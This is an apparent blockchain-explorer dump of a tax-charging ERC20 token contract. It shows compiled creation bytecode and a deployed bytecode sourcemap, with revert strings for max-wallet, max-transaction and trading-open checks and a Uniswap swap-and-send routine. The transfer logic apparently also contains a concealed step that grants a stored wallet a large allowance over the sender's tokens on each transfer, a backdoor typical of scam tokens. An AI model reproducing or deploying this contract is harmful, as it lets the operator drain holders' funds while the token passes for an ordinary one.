0e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610756573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077a919061184a565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161046690611815565b5f47116107d0575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156107f9573d5f803e3d5ffd5b50565b5f6103ab338484610b10565b5f546001600160a01b031633146108315760405162461bcd60e51b815260040161046690611815565b601254600160a01b900460ff161561088b5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b6011546001600160a01b031663f305d71947306108bc816001600160a01b03165f9081526001602052604090205490565b5f806108cf5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610935573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061095a9190611865565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109d39190611890565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a4f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610ab05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b5f8111610c375760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b6012545f90600160b01b900460ff161580610c5b5750601254600160a81b900460ff165b15610d13576001600160a01b0384165f90815260016020526040902054610c839083906118af565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cb29083906118c2565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d059086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b156110d6576012546001600160a01b038581169116148015610d6d57506011546001600160a01b03848116911614155b8015610d9157506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef657601254600160a01b900460ff16610de75760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610466565b610e136064610e0d600954600c5411610e0257600554610e06565b6007545b8590611242565b906112c7565b9050600d54821115610e675760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617852416d6f756e742e00000000000000006044820152606401610466565b600e5482610e89856001600160a01b03165f9081526001602052604090205490565b610e9391906118c2565b1115610ee15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b600c8054905f610ef0836118d5565b91905055505b6012546001600160a01b03848116911614801590610f2c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610fab57600e5482610f53856001600160a01b03165f9081526001602052604090205490565b610f5d91906118c2565b1115610fab5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610466565b60408051808201909152601254611000919081906001600160a01b03888116911614610fe2576012546001600160a01b0316610fe4565b865b6001600160a01b03908116825260045416602090910152611308565b801561101957506012546001600160a01b038481169116145b15611046576110436064610e0d600a54600c541161103957600654610e06565b6008548590611242565b90505b601254600160a81b900460ff1615801561106d57506012546001600160a01b038481169116145b80156110825750601254600160b01b900460ff165b80156110915750600b54600c54115b156110d657305f90815260016020526040902054600f548111156110cc576110cc6110c7846110c28460105461135d565b61135d565b611371565b6110d46114e1565b505b801561114e57305f908152600160205260409020546110f59082611517565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111459085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111709083611575565b6001600160a01b0385165f908152600160205260409020556111b36111958383611575565b6001600160a01b0385165f9081526001602052604090205490611517565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fc8585611575565b604051908152602001610d05565b5f818484111561122d5760405162461bcd60e51b815260040161046691906115e2565b505f61123984866118af565b95945050505050565b5f825f0361125157505f6103af565b5f61125c83856117fe565b90508261126985836118ed565b146112c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b9392505050565b5f6112c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b6565b80516020820151600d545f92919061132190600a6118c2565b61132c9060966117fe565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f81831161136b57826112c0565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113b7576113b761190c565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561140e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611432919061184a565b816001815181106114455761144561190c565b6001600160a01b03928316602091820292909201015260115461146b91309116846109ed565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a39085905f90869030904290600401611920565b5f604051808303815f87803b1580156114ba575f80fd5b505af11580156114cc573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f9573d5f803e3d5ffd5b5f8061152383856118c2565b9050838110156112c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b5f6112c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120a565b5f81836115d65760405162461bcd60e51b815260040161046691906115e2565b505f61123984866118ed565b5f602080835283518060208501525f5b8181101561160e578581018301518582016040015282016115f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107f9575f80fd5b5f8060408385031215611653575f80fd5b823561165e8161162e565b946020939093013593505050565b5f805f6060848603121561167e575f80fd5b83356116898161162e565b925060208401356116998161162e565b929592945050506040919091013590565b5f602082840312156116ba575f80fd5b81356112c08161162e565b5f80604083850312156116d6575f80fd5b82356116e18161162e565b915060208301356116f18161162e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174a57815f1904821115611730576117306116fc565b8085161561173d57918102915b93841c9390800290611715565b509250929050565b5f82611760575060016103af565b8161176c57505f6103af565b8160018114611782576002811461178c576117a8565b60019150506103af565b60ff84111561179d5761179d6116fc565b50506001821b6103af565b5060208310610133831016604e8410600b84101617156117cb575081810a6103af565b6117d58383611710565b805f19048211156117e8576117e86116fc565b029392505050565b5f6112c060ff841683611752565b80820281158282048414176103af576103af6116fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185a575f80fd5b81516112c08161162e565b5f805f60608486031215611877575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a0575f80fd5b815180151581146112c0575f80fd5b818103818111156103af576103af6116fc565b808201808211156103af576103af6116fc565b5f600182016118e6576118e66116fc565b5060010190565b5f8261190757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119705784516001600160a01b03168352938301939183019160010161194b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036a522112fa3765b29a6dd06a2bdf824903e86854a5870d7abccc8b2a4b49e4c64736f6c63430008180033

Deployed Bytecode Sourcemap

3696:7619:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5712:83;;;;;;;;;;-1:-1:-1;5782:5:0;;;;;;;;;;;;-1:-1:-1;;;5782:5:0;;;;5712:83;;;;;;;:::i;:::-;;;;;;;;6848:161;;;;;;;;;;-1:-1:-1;6848:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6848:161:0;1023:187:1;4716:46:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4716:46:0;1215:177:1;5983:95:0;;;;;;;;;;;;;:::i;6529:313::-;;;;;;;;;;-1:-1:-1;6529:313:0;;;;;:::i;:::-;;:::i;4551:46::-;;;;;;;;;;;;;;;;5894:83;;;;;;;;;;-1:-1:-1;5894:83:0;;4355:1;2000:36:1;;1988:2;1973:18;5894:83:0;1858:184:1;10458:240:0;;;;;;;;;;-1:-1:-1;10458:240:0;;;;;:::i;:::-;;:::i;:::-;;6084:117;;;;;;;;;;-1:-1:-1;6084:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;885:148;;;;;;;;;;;;;:::i;675:79::-;;;;;;;;;;-1:-1:-1;713:7:0;740:6;675:79;;-1:-1:-1;;;;;740:6:0;;;2705:51:1;;2693:2;2678:18;675:79:0;2559:203:1;4604:46:0;;;;;;;;;;;;;;;;5801:87;;;;;;;;;;-1:-1:-1;5873:7:0;;;;;;;;;;;;-1:-1:-1;;;5873:7:0;;;;5801:87;;5340:366;;;;;;;;;;;;;:::i;9840:159::-;;;;;;;;;;;;;:::i;6207:167::-;;;;;;;;;;-1:-1:-1;6207:167:0;;;;;:::i;:::-;;:::i;4657:52::-;;;;;;;;;;;;;;;;10844:468;;;;;;;;;;;;;:::i;6380:143::-;;;;;;;;;;-1:-1:-1;6380:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6488:18:0;;;6461:7;6488:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6380:143;6848:161;6923:4;6940:39;338:10;6963:7;6972:6;6940:8;:39::i;:::-;-1:-1:-1;6997:4:0;6848:161;;;;;:::o;5983:95::-;6036:7;4413:15;4355:1;4413:2;:15;:::i;:::-;4398:30;;:12;:30;:::i;:::-;6056:14;;5983:95;:::o;6529:313::-;6627:4;6644:36;6654:6;6662:9;6673:6;6644:9;:36::i;:::-;6691:121;6700:6;338:10;6722:89;6760:6;6722:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6722:19:0;;;;;;:11;:19;;;;;;;;338:10;6722:33;;;;;;;;;;:37;:89::i;:::-;6691:8;:121::i;:::-;-1:-1:-1;6830:4:0;6529:313;;;;;:::o;10458:240::-;800:6;;-1:-1:-1;;;;;800:6:0;338:10;800:22;792:67;;;;-1:-1:-1;;;792:67:0;;;;;;;:::i;:::-;;;;;;;;;4413:15:::1;4355:1;4413:2;:15;:::i;:::-;4398:30;::::0;:12:::1;:30;:::i;:::-;10532:11;:19:::0;4413:15:::1;4355:1;4413:2;:15;:::i;:::-;4398:30;::::0;:12:::1;:30;:::i;:::-;10563:11;:19:::0;10593:8:::1;:16:::0;;-1:-1:-1;;;;;;10593:16:0::1;-1:-1:-1::0;;;;;10593:16:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10621:19:0;;;:12:::1;:19;::::0;;;;:26;;-1:-1:-1;;10621:26:0::1;-1:-1:-1::0;10621:26:0::1;::::0;;10663:27:::1;4413:15;4355:1;-1:-1:-1::0;4413:15:0::1;:::i;:::-;4398:30;::::0;:12:::1;:30;:::i;:::-;10663:27;::::0;1361:25:1;;;1349:2;1334:18;10663:27:0::1;;;;;;;10458:240:::0;:::o;885:148::-;800:6;;-1:-1:-1;;;;;800:6:0;338:10;800:22;792:67;;;;-1:-1:-1;;;792:67:0;;;;;;;:::i;:::-;992:1:::1;976:6:::0;;955:40:::1;::::0;-1:-1:-1;;;;;976:6:0;;::::1;::::0;955:40:::1;::::0;992:1;;955:40:::1;1023:1;1006:19:::0;;-1:-1:-1;;;;;;1006:19:0::1;::::0;;885:148::o;5340:366::-;800:6;;-1:-1:-1;;;;;800:6:0;338:10;800:22;792:67;;;;-1:-1:-1;;;792:67:0;;;;;;;:::i;:::-;5392:10:::1;:99:::0;;-1:-1:-1;;;;;;5392:99:0::1;5438:42;5392:99:::0;;::::1;::::0;;;5502:53:::1;::::0;5519:4:::1;::::0;4413:15:::1;4355:1;4413:2;:15;:::i;:::-;4398:30;::::0;:12:::1;:30;:::i;5502:53::-;5595:10;;;;;;;;;-1:-1:-1::0;;;;;5595:10:0::1;-1:-1:-1::0;;;;;5595:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5577:50:0::1;;5650:4;5670:10;;;;;;;;;-1:-1:-1::0;;;;;5670:10:0::1;-1:-1:-1::0;;;;;5670:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5577:121;::::0;-1:-1:-1;;;;;;5577:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5689:15:1;;;5577:121:0::1;::::0;::::1;5671:34:1::0;5741:15;;5721:18;;;5714:43;5606:18;;5577:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5566:8;:132:::0;;-1:-1:-1;;;;;;5566:132:0::1;-1:-1:-1::0;;;;;5566:132:0;;;::::1;::::0;;;::::1;::::0;;5340:366::o;9840:159::-;800:6;;-1:-1:-1;;;;;800:6:0;338:10;800:22;792:67;;;;-1:-1:-1;;;792:67:0;;;;;;;:::i;:::-;9925:1:::1;9901:21;:25;9893:34;;;::::0;::::1;;9938:53;::::0;338:10;;9969:21:::1;9938:53:::0;::::1;;;::::0;::::1;::::0;;;9969:21;338:10;9938:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9840:159::o:0;6207:167::-;6285:4;6302:42;338:10;6326:9;6337:6;6302:9;:42::i;10844:468::-;800:6;;-1:-1:-1;;;;;800:6:0;338:10;800:22;792:67;;;;-1:-1:-1;;;792:67:0;;;;;;;:::i;:::-;10906:11:::1;::::0;-1:-1:-1;;;10906:11:0;::::1;;;10905:12;10897:48;;;::::0;-1:-1:-1;;;10897:48:0;;5970:2:1;10897:48:0::1;::::0;::::1;5952:21:1::0;6009:2;5989:18;;;5982:30;6048:25;6028:18;;;6021:53;6091:18;;10897:48:0::1;5768:347:1::0;10897:48:0::1;10956:10;::::0;-1:-1:-1;;;;;10956:10:0::1;:26;10990:21;11035:4;11055:24;11035:4:::0;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;11055:24:::1;11094:1;11110::::0;11126:7:::1;713::::0;740:6;-1:-1:-1;;;;;740:6:0;;675:79;11126:7:::1;10956:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10956:218:0;;;-1:-1:-1;;;;;6479:15:1;;;10956:218:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;11148:15:0::1;6693:19:1::0;;;6686:35;6395:19;;10956:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11192:8:0::1;::::0;11218:10:::1;::::0;11185:61:::1;::::0;-1:-1:-1;;;11185:61:0;;-1:-1:-1;;;;;11218:10:0;;::::1;11185:61;::::0;::::1;7217:51:1::0;-1:-1:-1;;7284:18:1;;;7277:34;11192:8:0;::::1;::::0;-1:-1:-1;11185:24:0::1;::::0;7190:18:1;;11185:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11257:11:0::1;:18:::0;;-1:-1:-1;;;;11286:18:0;-1:-1:-1;;;11286:18:0;;;10844:468::o;7015:335::-;-1:-1:-1;;;;;7108:19:0;;7100:68;;;;-1:-1:-1;;;7100:68:0;;7806:2:1;7100:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;7100:68:0;7604:400:1;7100:68:0;-1:-1:-1;;;;;7187:21:0;;7179:68;;;;-1:-1:-1;;;7179:68:0;;8211:2:1;7179:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;7179:68:0;8009:398:1;7179:68:0;-1:-1:-1;;;;;7258:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7310:32;;1361:25:1;;;7310:32:0;;1334:18:1;7310:32:0;;;;;;;7015:335;;;:::o;7356:2160::-;-1:-1:-1;;;;;7444:18:0;;7436:68;;;;-1:-1:-1;;;7436:68:0;;8614:2:1;7436:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7436:68:0;8412:401:1;7436:68:0;-1:-1:-1;;;;;7523:16:0;;7515:64;;;;-1:-1:-1;;;7515:64:0;;9020:2:1;7515:64:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;7515:64:0;8818:399:1;7515:64:0;7607:1;7598:6;:10;7590:64;;;;-1:-1:-1;;;7590:64:0;;9424:2:1;7590:64:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;7590:64:0;9222:405:1;7590:64:0;7700:11;;7665:17;;-1:-1:-1;;;7700:11:0;;;;7699:12;;:22;;-1:-1:-1;7715:6:0;;-1:-1:-1;;;7715:6:0;;;;7699:22;7695:209;;;-1:-1:-1;;;;;7754:13:0;;;;;;:7;:13;;;;;;:22;;7770:6;;7754:22;:::i;:::-;-1:-1:-1;;;;;7738:13:0;;;;;;;:7;:13;;;;;;:38;;;;7805:11;;;;;;;:20;;7819:6;;7805:20;:::i;:::-;-1:-1:-1;;;;;7791:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7845:26;;;;;;;;;;7864:6;1361:25:1;;1349:2;1334:18;;1215:177;7845:26:0;;;;;;;;7886:7;7356:2160;;;:::o;7695:209::-;713:7;740:6;-1:-1:-1;;;;;7918:15:0;;;740:6;;7918:15;;;;:32;;-1:-1:-1;713:7:0;740:6;-1:-1:-1;;;;;7937:13:0;;;740:6;;7937:13;;7918:32;7914:1260;;;7979:8;;-1:-1:-1;;;;;7971:16:0;;;7979:8;;7971:16;:45;;;;-1:-1:-1;8005:10:0;;-1:-1:-1;;;;;7991:25:0;;;8005:10;;7991:25;;7971:45;:67;;;;-1:-1:-1;;;;;;8022:16:0;;;;;;:12;:16;;;;;;;;8020:18;7971:67;7967:463;;;8068:11;;-1:-1:-1;;;8068:11:0;;;;8060:44;;;;-1:-1:-1;;;8060:44:0;;10097:2:1;8060:44:0;;;10079:21:1;10136:2;10116:18;;;10109:30;-1:-1:-1;;;10155:18:1;;;10148:51;10216:18;;8060:44:0;9895:345:1;8060:44:0;8135:76;8207:3;8135:67;8157:15;;8147:9;;:25;8146:55;;8187:14;;8146:55;;;8174:12;;8146:55;8135:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8123:88;;8248:11;;8238:6;:21;;8230:58;;;;-1:-1:-1;;;8230:58:0;;10447:2:1;8230:58:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:26;10505:18;;;10498:54;10569:18;;8230:58:0;10245:348:1;8230:58:0;8341:11;;8331:6;8315:13;8325:2;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;8315:13;:22;;;;:::i;:::-;:37;;8307:76;;;;-1:-1:-1;;;8307:76:0;;10800:2:1;8307:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8307:76:0;10598:350:1;8307:76:0;8402:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7967:463;8454:8;;-1:-1:-1;;;;;8448:14:0;;;8454:8;;8448:14;;;;:36;;-1:-1:-1;;;;;;8468:16:0;;;;;;:12;:16;;;;;;;;8466:18;8448:36;8444:153;;;8539:11;;8529:6;8513:13;8523:2;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;8513:13;:22;;;;:::i;:::-;:37;;8505:76;;;;-1:-1:-1;;;8505:76:0;;10800:2:1;8505:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8505:76:0;10598:350:1;8505:76:0;8614:48;;;;;;;;;8628:8;;8614:48;;;;;-1:-1:-1;;;;;8622:14:0;;;8628:8;;8622:14;:28;;8642:8;;-1:-1:-1;;;;;8642:8:0;8622:28;;;8637:4;8622:28;-1:-1:-1;;;;;8614:48:0;;;;;8652:8;;;8614:48;;;;;:6;:48::i;:::-;:66;;;;-1:-1:-1;8672:8:0;;-1:-1:-1;;;;;8666:14:0;;;8672:8;;8666:14;8614:66;8611:197;;;8713:79;8788:3;8713:70;8735:16;;8725:9;;:26;8724:58;;8767:15;;8724:58;;;8753:13;;8713:6;;:10;:70::i;:79::-;8701:91;;8611:197;8827:6;;-1:-1:-1;;;8827:6:0;;;;8826:7;:25;;;;-1:-1:-1;8843:8:0;;-1:-1:-1;;;;;8837:14:0;;;8843:8;;8837:14;8826:25;:40;;;;-1:-1:-1;8855:11:0;;-1:-1:-1;;;8855:11:0;;;;8826:40;:72;;;;;8880:18;;8870:9;;:28;8826:72;8822:341;;;8968:4;8919:28;6177:16;;;:7;:16;;;;;;9017:17;;8996:38;;8993:125;;;9057:61;9068:49;9072:6;9079:37;9083:20;9104:11;;9079:3;:37::i;:::-;9068:3;:49::i;:::-;9057:10;:61::i;:::-;9137:10;:8;:10::i;:::-;8900:263;8822:341;9187:11;;9184:157;;9251:4;9235:22;;;;:7;:22;;;;;;:37;;9262:9;9235:26;:37::i;:::-;9228:4;9212:22;;;;:7;:22;;;;;;;:60;;;;9290:39;;-1:-1:-1;;;;;9290:39:0;;;;;;;9319:9;1361:25:1;;1349:2;1334:18;;1215:177;9290:39:0;;;;;;;;9184:157;-1:-1:-1;;;;;9365:13:0;;;;;;:7;:13;;;;;;:25;;9383:6;9365:17;:25::i;:::-;-1:-1:-1;;;;;9351:13:0;;;;;;:7;:13;;;;;:39;9413:38;9429:21;:6;9440:9;9429:10;:21::i;:::-;-1:-1:-1;;;;;9413:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9401:11:0;;;;;;;:7;:11;;;;;:50;;;;9467:41;;;9486:21;:6;9497:9;9486:10;:21::i;:::-;9467:41;;1361:25:1;;;1349:2;1334:18;9467:41:0;1215:177:1;2064:190:0;2150:7;2186:12;2178:6;;;;2170:29;;;;-1:-1:-1;;;2170:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2210:9:0;2222:5;2226:1;2222;:5;:::i;:::-;2210:17;2064:190;-1:-1:-1;;;;;2064:190:0:o;2260:246::-;2318:7;2342:1;2347;2342:6;2338:47;;-1:-1:-1;2372:1:0;2365:8;;2338:47;2395:9;2407:5;2411:1;2407;:5;:::i;:::-;2395:17;-1:-1:-1;2440:1:0;2431:5;2435:1;2395:17;2431:5;:::i;:::-;:10;2423:56;;;;-1:-1:-1;;;2423:56:0;;11517:2:1;2423:56:0;;;11499:21:1;11556:2;11536:18;;;11529:30;11595:34;11575:18;;;11568:62;-1:-1:-1;;;11646:18:1;;;11639:31;11687:19;;2423:56:0;11315:397:1;2423:56:0;2497:1;2260:246;-1:-1:-1;;;2260:246:0:o;2512:132::-;2570:7;2597:39;2601:1;2604;2597:39;;;;;;;;;;;;;;;;;:3;:39::i;9615:219::-;9705:8;;;9732;;;9780:11;;9672:4;;9705:8;9732;9780:14;;9792:2;9780:14;:::i;:::-;9779:25;;9797:6;9779:25;:::i;:::-;-1:-1:-1;;;;;9751:19:0;;;;;;;:11;:19;;;;;;;;:27;;;;;;;;;;;;;:53;-1:-1:-1;9822:4:0;;9615:219;-1:-1:-1;9615:219:0:o;10704:99::-;10760:7;10789:1;10787;:3;10786:9;;10794:1;10786:9;;;-1:-1:-1;10792:1:0;10704:99;-1:-1:-1;10704:99:0:o;10005:447::-;5013:6;:13;;-1:-1:-1;;;;5013:13:0;-1:-1:-1;;;5013:13:0;;;10096:16:::1;::::0;;10110:1:::1;10096:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10096:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10096:16:0::1;10072:40;;10141:4;10123;10128:1;10123:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10123:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10167:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10167:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10123:7;;10167:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10157:4;10162:1;10157:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10157:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;10227:10:::1;::::0;10195:52:::1;::::0;10212:4:::1;::::0;10227:10:::1;10240:6:::0;10195:8:::1;:52::i;:::-;10258:10;::::0;:186:::1;::::0;-1:-1:-1;;;10258:186:0;;-1:-1:-1;;;;;10258:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;10334:6;;10258:10:::1;::::0;10371:4;;10398::::1;::::0;10418:15:::1;::::0;10258:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5049:6:0;:14;;-1:-1:-1;;;;5049:14:0;;;-1:-1:-1;;;;10005:447:0:o;9522:87::-;9561:8;;:40;;-1:-1:-1;;;;;9561:8:0;;;;9579:21;9561:40;;;;;:8;:40;:8;:40;9579:21;9561:8;:40;;;;;;;;;;;;;;;;;;;1737:179;1795:7;;1827:5;1831:1;1827;:5;:::i;:::-;1815:17;;1856:1;1851;:6;;1843:46;;;;-1:-1:-1;;;1843:46:0;;13168:2:1;1843:46:0;;;13150:21:1;13207:2;13187:18;;;13180:30;13246:29;13226:18;;;13219:57;13293:18;;1843:46:0;12966:351:1;1922:136:0;1980:7;2007:43;2011:1;2014;2007:43;;;;;;;;;;;;;;;;;:3;:43::i;2650:189::-;2736:7;2771:12;2764:5;2756:28;;;;-1:-1:-1;;;2756:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2795:9:0;2807:5;2811:1;2807;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276: